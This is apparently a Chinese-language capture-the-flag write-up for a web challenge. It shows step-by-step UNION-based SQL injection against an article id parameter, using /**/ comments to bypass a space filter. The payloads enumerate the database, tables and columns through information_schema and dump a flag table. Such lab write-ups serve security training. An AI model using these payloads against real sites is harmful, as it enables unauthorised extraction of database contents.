页面中有一个文章列表,随便点一个
从url地址栏中可以看到,页面通过文章的id值来查询文章内容,我们可以考虑SQL注入漏洞
首先判断注入点,输入以下payload,使SQL恒成立
1/**/and/**/1
可以看到,页面正常显示
在输入以下payload,使SQL恒不成立
1/**/and/**/0
可以看到,页面空显示
由此可以判断页面存在SQL注入,注入点为数值型注入,页面中有显示位,可以尝试联合注入进行脱库
先来判断显示位,此处id传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置
-1/**/union/**/select/**/1,2,3
接下来判断当前使用的数据库,盲猜flag就藏在当前使用的数据库中
-1/**/union/**/select/**/1,database(),3
当前使用的数据库是web7
接下来获取当前数据库中的所有表
-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3
有一个flag表,那flag肯定就藏在这个表里面
接下来获取flag表中的所有字段
-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3
flag表中只有一个flag字段
接下来查询flag表的flag字段,获取flag
-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3
成功获取flag